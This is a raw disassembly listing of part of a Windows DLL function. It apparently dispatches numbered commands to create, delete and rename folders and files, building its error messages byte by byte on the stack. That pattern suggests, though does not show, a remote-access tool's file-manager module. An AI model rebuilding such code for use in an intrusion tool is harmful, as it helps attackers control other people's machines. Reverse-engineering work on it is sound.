mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x7b]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x6e0]
call fcn.180004f90
mov qword [rsp + 0x550], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xdd8]
call fcn.180004660
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x2d0], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x6e0]
lea rdx, [rsp + 0xdb8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x2d8], rax
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d8]
lea rcx, [rsp + 0xd98]
call fcn.180011a20
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x2e8], rax
mov rdx, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xd98]
call fcn.180004630
nop
lea rcx, [rsp + 0xdb8]
call fcn.180004630
nop
lea rcx, [rsp + 0xdd8]
call fcn.180004630
nop
lea rcx, [rsp + 0x6e0]
call fcn.180003930
nop
jmp 0x18000c0a3
mov edx, 8
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x2f0], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x2f0]
mov r8, rcx
lea rdx, [rsp + 0xdf8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x2f8], rax
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x35], al
lea rcx, [rsp + 0xdf8]
call fcn.180004630
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x18000b60c
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0xa8
mov qword [rsp + 0x300], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x300]
mov r8, rcx
lea rdx, [rsp + 0xe18]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x308], rax
mov rcx, qword [rsp + 0x308]
call fcn.180006b20
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x18000b39d
mov dword [rsp + 0x90], 1
jmp 0x18000b3a8
mov dword [rsp + 0x90], 0
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0x36], al
lea rcx, [rsp + 0xe18]
call fcn.180006cb0
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x18000b607
mov byte [rsp + 0x9f8], 0x43
mov byte [rsp + 0x9f9], 0x72
mov byte [rsp + 0x9fa], 0x65
mov byte [rsp + 0x9fb], 0x61
mov byte [rsp + 0x9fc], 0x74
mov byte [rsp + 0x9fd], 0x65
mov byte [rsp + 0x9fe], 0x20
mov byte [rsp + 0x9ff], 0x46
mov byte [rsp + 0xa00], 0x6f
mov byte [rsp + 0xa01], 0x6c
mov byte [rsp + 0xa02], 0x64
mov byte [rsp + 0xa03], 0x65
mov byte [rsp + 0xa04], 0x72
mov byte [rsp + 0xa05], 0x20
mov byte [rsp + 0xa06], 0x45
mov byte [rsp + 0xa07], 0x72
mov byte [rsp + 0xa08], 0x72
mov byte [rsp + 0xa09], 0x6f
mov byte [rsp + 0xa0a], 0x72
mov byte [rsp + 0xa0b], 0x20
mov byte [rsp + 0xa0c], 0x45
mov byte [rsp + 0xa0d], 0x72
mov byte [rsp + 0xa0e], 0x72
mov byte [rsp + 0xa0f], 0x6f
mov byte [rsp + 0xa10], 0x72
mov byte [rsp + 0xa11], 0x20
mov byte [rsp + 0xa12], 0x20
mov byte [rsp + 0xa13], 0x3a
mov byte [rsp + 0xa14], 0x20
mov byte [rsp + 0xa15], 0x20
lea rax, [rsp + 0xa16]
mov r8, rax
lea rdx, [rsp + 0x9f8]
lea rcx, [rsp + 0x890]
call fcn.180004ea0
lea rcx, [rsp + 0x6a0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x7c]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x760]
call fcn.180004f90
mov qword [rsp + 0x558], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xe78]
call fcn.180004660
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x760]
lea rdx, [rsp + 0xe58]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x328], rax
mov r8, qword [rsp + 0x320]
mov rdx, qword [rsp + 0x328]
lea rcx, [rsp + 0xe38]
call fcn.180011a20
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x338], rax
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xe38]
call fcn.180004630
nop
lea rcx, [rsp + 0xe58]
call fcn.180004630
nop
lea rcx, [rsp + 0xe78]
call fcn.180004630
nop
lea rcx, [rsp + 0x760]
call fcn.180003930
nop
jmp 0x18000c0a3
mov edx, 9
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x340], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x340]
mov r8, rcx
lea rdx, [rsp + 0xe98]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x348], rax
mov rdx, qword [rsp + 0x348]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x37], al
lea rcx, [rsp + 0xe98]
call fcn.180004630
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x18000b930
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0xa8
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x350]
mov r8, rcx
lea rdx, [rsp + 0xeb8]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x358], rax
mov rcx, qword [rsp + 0x358]
call fcn.180006b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x18000b701
mov dword [rsp + 0x94], 1
jmp 0x18000b70c
mov dword [rsp + 0x94], 0
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x38], al
lea rcx, [rsp + 0xeb8]
call fcn.180006cb0
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x18000b92b
mov byte [rsp + 0x938], 0x44
mov byte [rsp + 0x939], 0x65
mov byte [rsp + 0x93a], 0x6c
mov byte [rsp + 0x93b], 0x65
mov byte [rsp + 0x93c], 0x74
mov byte [rsp + 0x93d], 0x65
mov byte [rsp + 0x93e], 0x20
mov byte [rsp + 0x93f], 0x46
mov byte [rsp + 0x940], 0x6f
mov byte [rsp + 0x941], 0x6c
mov byte [rsp + 0x942], 0x64
mov byte [rsp + 0x943], 0x65
mov byte [rsp + 0x944], 0x72
mov byte [rsp + 0x945], 0x20
mov byte [rsp + 0x946], 0x45
mov byte [rsp + 0x947], 0x72
mov byte [rsp + 0x948], 0x72
mov byte [rsp + 0x949], 0x6f
mov byte [rsp + 0x94a], 0x72
mov byte [rsp + 0x94b], 0x20
mov byte [rsp + 0x94c], 0x3a
mov byte [rsp + 0x94d], 0x20
lea rax, [rsp + 0x94e]
mov r8, rax
lea rdx, [rsp + 0x938]
lea rcx, [rsp + 0x8a0]
call fcn.180004ea0
lea rcx, [rsp + 0x6b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x7d]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x6b0]
lea rcx, [rsp + 0x778]
call fcn.180004f90
mov qword [rsp + 0x560], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xf18]
call fcn.180004660
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x370], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x778]
lea rdx, [rsp + 0xef8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0x378], rax
mov r8, qword [rsp + 0x370]
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0xed8]
call fcn.180011a20
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x388], rax
mov rdx, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xed8]
call fcn.180004630
nop
lea rcx, [rsp + 0xef8]
call fcn.180004630
nop
lea rcx, [rsp + 0xf18]
call fcn.180004630
nop
lea rcx, [rsp + 0x778]
call fcn.180003930
nop
jmp 0x18000c0a3
mov edx, 0xa
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x390], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x390]
mov r8, rcx
lea rdx, [rsp + 0xf38]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x398], rax
mov rdx, qword [rsp + 0x398]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x39], al
lea rcx, [rsp + 0xf38]
call fcn.180004630
movzx eax, byte [rsp + 0x39]
test eax, eax
je 0x18000bcec
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0xc8
mov qword [rsp + 0x3a0], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x3a0]
mov r8, rcx
lea rdx, [rsp + 0xf78]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov qword [rsp + 0x3b8], rax
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x48
mov qword [rsp + 0x3b0], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x3b0]
mov r8, rcx
lea rdx, [rsp + 0xf58]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x3c0], rax
mov rcx, qword [rsp + 0x3b8]
call fcn.180006b20
mov qword [rsp + 0x3c8], rax
mov rcx, qword [rsp + 0x3c0]
call fcn.180006b20
mov rcx, qword [rsp + 0x3c8]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x18000baa7
mov dword [rsp + 0x98], 1
jmp 0x18000bab2
mov dword [rsp + 0x98], 0
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0xf58]
call fcn.180006cb0
nop
lea rcx, [rsp + 0xf78]
call fcn.180006cb0
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x18000bce7
mov byte [rsp + 0x980], 0x52
mov byte [rsp + 0x981], 0x65
mov byte [rsp + 0x982], 0x6e
mov byte [rsp + 0x983], 0x61
mov byte [rsp + 0x984], 0x6d
mov byte [rsp + 0x985], 0x65
mov byte [rsp + 0x986], 0x20
mov byte [rsp + 0x987], 0x4f
mov byte [rsp + 0x988], 0x62
mov byte [rsp + 0x989], 0x6a
mov byte [rsp + 0x98a], 0x65
mov byte [rsp + 0x98b], 0x63
mov byte [rsp + 0x98c], 0x74
mov byte [rsp + 0x98d], 0x20
mov byte [rsp + 0x98e], 0x20
mov byte [rsp + 0x98f], 0x45
mov byte [rsp + 0x990], 0x72
mov byte [rsp + 0x991], 0x72
mov byte [rsp + 0x992], 0x6f
mov byte [rsp + 0x993], 0x72
mov byte [rsp + 0x994], 0x20
mov byte [rsp + 0x995], 0x3a
mov byte [rsp + 0x996], 0x20
lea rax, [rsp + 0x997]
mov r8, rax
lea rdx, [rsp + 0x980]
lea rcx, [rsp + 0x8b0]
call fcn.180004ea0
lea rcx, [rsp + 0x6c0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x7e]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x790]
call fcn.180004f90
mov qword [rsp + 0x568], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xfd8]
call fcn.180004660
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x3e0], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x790]
lea rdx, [rsp + 0xfb8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0x3e8], rax
mov r8, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
lea rcx, [rsp + 0xf98]
call fcn.180011a20
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x3f8], rax
mov rdx, qword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xf98]
call fcn.180004630
nop
lea rcx, [rsp + 0xfb8]
call fcn.180004630
nop
lea rcx, [rsp + 0xfd8]
call fcn.180004630
nop
lea rcx, [rsp + 0x790]
call fcn.180003930
nop
jmp 0x18000c0a3
mov edx, 0xb
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x400], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x400]
mov r8, rcx
lea rdx, [rsp + 0xff8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x408], rax
mov rdx, qword [rsp + 0x408]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x3b], al
lea rcx, [rsp + 0xff8]
call fcn.180004630
movzx eax, byte [rsp + 0x3b]
test eax, eax
je 0x18000c0a3
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0xc8
mov qword [rsp + 0x410], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x410]
mov r8, rcx
lea rdx, [rsp + 0x1038]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x428], rax
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x48
mov qword [rsp + 0x420], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x420]
mov r8, rcx
lea rdx, [rsp + 0x1018]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x430], rax
mov rcx, qword [rsp + 0x428]
call fcn.180006b20
mov qword [rsp + 0x438], rax
mov rcx, qword [rsp + 0x430]
call fcn.180006b20
mov rcx, qword [rsp + 0x438]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x18000be63
mov dword [rsp + 0x9c], 1
jmp 0x18000be6e
mov dword [rsp + 0x9c], 0
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x3c], al
lea rcx, [rsp + 0x1018]
call fcn.180006cb0
nop
lea rcx, [rsp + 0x1038]
call fcn.180006cb0
movzx eax, byte [rsp + 0x3c]
test eax, eax
je 0x18000c0a3
mov byte [rsp + 0x968], 0x52
mov byte [rsp + 0x969], 0x65
mov byte [rsp + 0x96a], 0x6e
mov byte [rsp + 0x96b], 0x61
mov byte [rsp + 0x96c], 0x6d
mov byte [rsp + 0x96d], 0x65
mov byte [rsp + 0x96e], 0x20
mov byte [rsp + 0x96f], 0x4f
mov byte [rsp + 0x970], 0x62
mov byte [rsp + 0x971], 0x6a
mov byte [rsp + 0x972], 0x65
mov byte [rsp + 0x973], 0x63
mov byte [rsp + 0x974], 0x74
mov byte [rsp + 0x975], 0x20
mov byte [rsp + 0x976], 0x20
mov byte [rsp + 0x977], 0x45
mov byte [rsp + 0x978], 0x72
mov byte [rsp + 0x979], 0x72
mov byte [rsp + 0x97a], 0x6f
mov byte [rsp + 0x97b], 0x72
mov byte [rsp + 0x97c], 0x20
mov byte [rsp + 0x97d], 0x3a
mov byte [rsp + 0x97e], 0x20
lea rax, [rsp + 0x97f]
mov r8, rax
lea rdx, [rsp + 0x968]
lea rcx, [rsp + 0x8c0]
call fcn.180004ea0
lea rcx, [rsp + 0x6d0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x7f]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x6d0]
lea rcx, [rsp + 0x7a8]
call fcn.180004f90
mov qword [rsp + 0x570], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1098]
call fcn.180004660
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x7a8]
lea rdx, [rsp + 0x1078]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x458], rax
mov r8, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
lea rcx, [rsp + 0x1058]
call fcn.180011a20
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x468], rax
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0x1058]
call fcn.180004630
nop
lea rcx, [rsp + 0x1078]
call fcn.180004630
nop
lea rcx, [rsp + 0x1098]
call fcn.180004630
nop
lea rcx, [rsp + 0x7a8]
call fcn.180003930
nop
lea rcx, [rsp + 0xa18]
call fcn.180004630
nop
lea rcx, [rsp + 0x40]
call fcn.18000f7a0
nop
lea rcx, [rsp + 0x20]
call fcn.18000f7e0
nop
lea rcx, [rsp + 0xa8]
call fcn.18000f850
nop
jmp 0x18000c0d7
jmp 0x18000c0d9
mov rcx, qword [rsp + 0x12a8]
call fcn.180004ed0
mov rax, qword [rsp + 0x12a0]
mov rcx, qword [rsp + 0x1270]
xor rcx, rsp
call fcn.1800412e0
add rsp, 0x1288
pop rdi
pop rsi
ret